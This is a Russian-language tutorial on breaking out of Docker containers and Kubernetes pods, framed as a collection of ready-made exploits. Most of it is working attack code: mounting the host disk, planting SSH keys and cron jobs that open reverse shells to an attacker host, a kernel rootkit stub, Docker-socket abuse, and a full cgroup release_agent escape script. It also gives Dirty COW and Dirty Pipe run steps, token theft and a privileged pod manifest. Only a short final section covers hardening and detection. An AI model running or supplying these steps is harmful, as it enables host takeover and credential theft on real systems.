53
Docker — это круто для изоляции, но только если настроен правильно. На практике 80% контейнеров имеют хотя бы одну критическую misconfiguration, которая позволяет вырваться на хост. Разберём самые жирные векторы атак и готовые эксплойты.
Почему Docker не так безопасен
Контейнеры — это НЕ виртуальные машины. Они делят одно ядро с хостом, используют те же системные вызовы. Изоляция держится на namespaces, cgroups и capabilities. Одна ошибка в конфигурации — и ты на хосте с root-правами.
Типичные векторы побега:
• Privileged режим и опасные capabilities
• Монтирование Docker socket внутрь контейнера
• Проброс критичных директорий хоста
• Слабые или отключённые seccomp/AppArmor профили
• Уязвимости в runC и containerd
Privileged контейнеры — прямой путь на хост
Проверка на privileged режим
Внутри контейнера проверь:
1 2 3 4 5 |
# Смотрим capabilities capsh --print | grep Current # Если видишь полный набор — это privileged # Особенно опасны: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE |
Или проверь через /proc
:
1 2 3 |
cat /proc/self/status | grep CapEff # CapEff: 0000003fffffffff = privileged mode # CapEff: 00000000a80425fb = ограниченный режим |
Escape через device access
В privileged режиме доступны все устройства хоста:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# Находим диск хоста fdisk -l # Обычно /dev/sda1 или /dev/vda1 # Монтируем файловую систему хоста mkdir /mnt/host mount /dev/sda1 /mnt/host # Теперь полный доступ к хосту ls /mnt/host/root cat /mnt/host/etc/shadow # Добавляем SSH ключ echo 'ssh-rsa YOUR_PUBLIC_KEY' >> /mnt/host/root/.ssh/authorized_keys # Или создаём cron job на хосте echo '* * * * * /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' >> /mnt/host/etc/crontab |
Загрузка kernel модуля
Если есть CAP_SYS_MODULE
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
# Компилируем простой kernel rootkit cat > rootkit.c << 'EOF' #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> static int __init rootkit_init(void) { printk(KERN_INFO "Rootkit loaded\n"); // Твой payload здесь return 0; } static void __exit rootkit_exit(void) { printk(KERN_INFO "Rootkit unloaded\n"); } module_init(rootkit_init); module_exit(rootkit_exit); MODULE_LICENSE("GPL"); EOF # Компилируем apt-get update && apt-get install -y build-essential kmod echo "obj-m += rootkit.o" > Makefile make -C /lib/modules/$(uname -r)/build M=$(pwd) modules # Загружаем insmod rootkit.ko |
Docker Socket Exposure — критичная ошибка
Поиск Docker socket
Многие разработчики монтируют /var/run/docker.sock
для “удобства управления”:
1 2 3 4 |
# Проверяем наличие ls -la /var/run/docker.sock # Если есть — джекпот |
Escape через Docker API
1 2 3 4 5 6 7 8 9 10 11 12 |
# Устанавливаем Docker CLI внутри контейнера curl -fsSL https://get.docker.com -o get-docker.sh sh get-docker.sh # Проверяем доступ к хосту docker ps # Создаём новый privileged контейнер с монтированием хоста docker run -it --rm --privileged --pid=host --net=host --ipc=host \ -v /:/host alpine chroot /host /bin/bash # Поздравляю, ты на хосте |
One-liner escape
Быстрый способ без установки Docker:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# Используем API напрямую curl -XPOST --unix-socket /var/run/docker.sock \ -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}' \ -H 'Content-Type: application/json' \ http://localhost/containers/create # Получаем container ID из ответа, затем запускаем CONTAINER_ID="ID_FROM_RESPONSE" curl -XPOST --unix-socket /var/run/docker.sock \ http://localhost/containers/$CONTAINER_ID/start # Подключаемся docker exec -it $CONTAINER_ID chroot /host /bin/bash |
Dangerous Volume Mounts
Проброс критичных директорий
Проверь монтирования:
1 2 3 4 5 |
mount | grep -E "proc|sys|dev" df -h # Ищем признаки host filesystem cat /proc/mounts |
Частые ошибки админов:
1 2 3 4 5 6 7 8 |
# Монтирование /etc хоста -v /etc:/host_etc # Доступ к cron -v /etc/cron.d:/cron # Проброс /root -v /root:/host_root |
Escape через /etc/cron
Если примонтирован /etc
хоста:
1 2 3 4 5 6 7 8 9 10 11 |
# Проверяем запись touch /host_etc/test 2>/dev/null && echo "Writable!" # Создаём cron job cat > /host_etc/cron.d/evil << 'EOF' * * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' EOF chmod 644 /host_etc/cron.d/evil # Ждём максимум минуту |
Escape через /proc или /sys
Если примонтирован /proc
хоста:
1 2 3 4 5 6 7 8 |
# Получаем PID процесса на хосте ps aux | grep -v "^PID" # Используем /proc для доступа к host namespace nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash # Альтернатива через /proc/1/root ls /proc/1/root # Это root filesystem хоста |
CAP_SYS_ADMIN — универсальный ключ
Проверка capabilities
1 2 3 4 |
capsh --print | grep cap_sys_admin # Или через getpcaps getpcaps $$ |
Escape через mount
С CAP_SYS_ADMIN
можно монтировать что угодно:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
# Создаём точку монтирования mkdir /tmp/cgrp # Монтируем cgroup mount -t cgroup -o memory cgroup /tmp/cgrp # Создаём payload cat > /tmp/break.sh << 'EOF' #!/bin/sh # Reverse shell на хост /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' EOF chmod +x /tmp/break.sh # Используем release_agent для выполнения на хосте mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release # Указываем path к нашему скрипту на хосте host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) echo "$host_path/tmp/break.sh" > /tmp/cgrp/release_agent # Триггерим выполнение sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" |
Полный автоматический эксплойт
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
#!/bin/bash # Docker escape via CAP_SYS_ADMIN # Проверяем capability if ! capsh --print | grep -q cap_sys_admin; then echo "[-] CAP_SYS_ADMIN not available" exit 1 fi echo "[+] CAP_SYS_ADMIN detected" # Находим путь к overlay на хосте host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n1) echo "[+] Host path: $host_path" # Создаём payload payload_name=".systemd-private-$(head -c 8 /dev/urandom | md5sum | cut -d' ' -f1)" cat > /tmp/$payload_name << 'PAYLOAD' #!/bin/bash bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1 PAYLOAD chmod +x /tmp/$payload_name # Настраиваем cgroup exploit mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release echo "$host_path/tmp/$payload_name" > /tmp/cgrp/release_agent # Триггер sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" echo "[+] Exploit triggered" |
Kernel Exploits из контейнера
Dirty COW
Старая, но золотая уязвимость (CVE-2016-5195):
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# Проверяем версию ядра uname -r # Уязвимы версии < 4.8.3 # Скачиваем эксплойт wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/pokemon.c gcc -pthread pokemon.c -o pokemon -lcrypt # Запускаем ./pokemon # Получаем root на хосте su firefart # пароль: dirtyCowFun |
Dirty Pipe
Более свежая (CVE-2022-0847):
1 2 3 4 5 6 7 8 9 10 11 12 |
# Уязвимы ядра 5.8 - 5.16.11, 5.15.25, 5.10.102 # Компилируем эксплойт cat > dirtypipe.c << 'EOF' // Код эксплойта отсюда: https://haxx.in/files/dirtypipez.c // Полный код слишком большой для примера EOF gcc dirtypipe.c -o exploit ./exploit /etc/passwd 1 ootz: # Теперь можешь логиниться как root с паролем "piped" |
Kubernetes Pod Escape
Проверка окружения K8s
1 2 3 4 5 6 7 |
# Ищем service account token ls -la /var/run/secrets/kubernetes.io/serviceaccount/ # Проверяем доступ к API TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -k -H "Authorization: Bearer $TOKEN" \ https://kubernetes.default.svc/api/v1/namespaces/default/pods |
Escape через hostPath volumes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
# Создаём privileged pod с доступом к хосту apiVersion: v1 kind: Pod meta name: evil-pod spec: hostNetwork: true hostPID: true hostIPC: true containers: - name: evil image: alpine securityContext: privileged: true volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / type: Directory |
Применяем через kubectl (если есть права):
1 2 |
echo "$YAML_ABOVE" | kubectl apply -f - kubectl exec -it evil-pod -- chroot /host /bin/bash |
Защита и детектирование
Аудит конфигурации
1 2 3 4 5 6 7 8 |
# Проверка запущенных контейнеров на опасные флаги docker inspect $(docker ps -q) | grep -E "Privileged|CapAdd|Binds.*docker.sock" # Поиск контейнеров с host network docker ps --filter "network=host" # Проверка volumes docker inspect $(docker ps -q) | jq '.[].Mounts' |
Hardening контейнеров
1 2 3 4 5 6 7 8 9 10 |
# Правильный запуск контейнера docker run -d \ --security-opt=no-new-privileges \ --cap-drop=ALL \ --cap-add=NET_BIND_SERVICE \ --read-only \ --tmpfs /tmp \ --user 1000:1000 \ --network=custom_network \ your_image |
Runtime Detection
Используй Falco для мониторинга:
1 2 3 4 5 6 7 8 9 |
# Правило для детектирования escape attempts - rule: Container Drift Detected desc: New executable created in container condition: > container and evt.type = execve and proc.name in (nsenter, unshare, capsh) output: "Container escape attempt (user=%user.name command=%proc.cmdline)" priority: CRITICAL |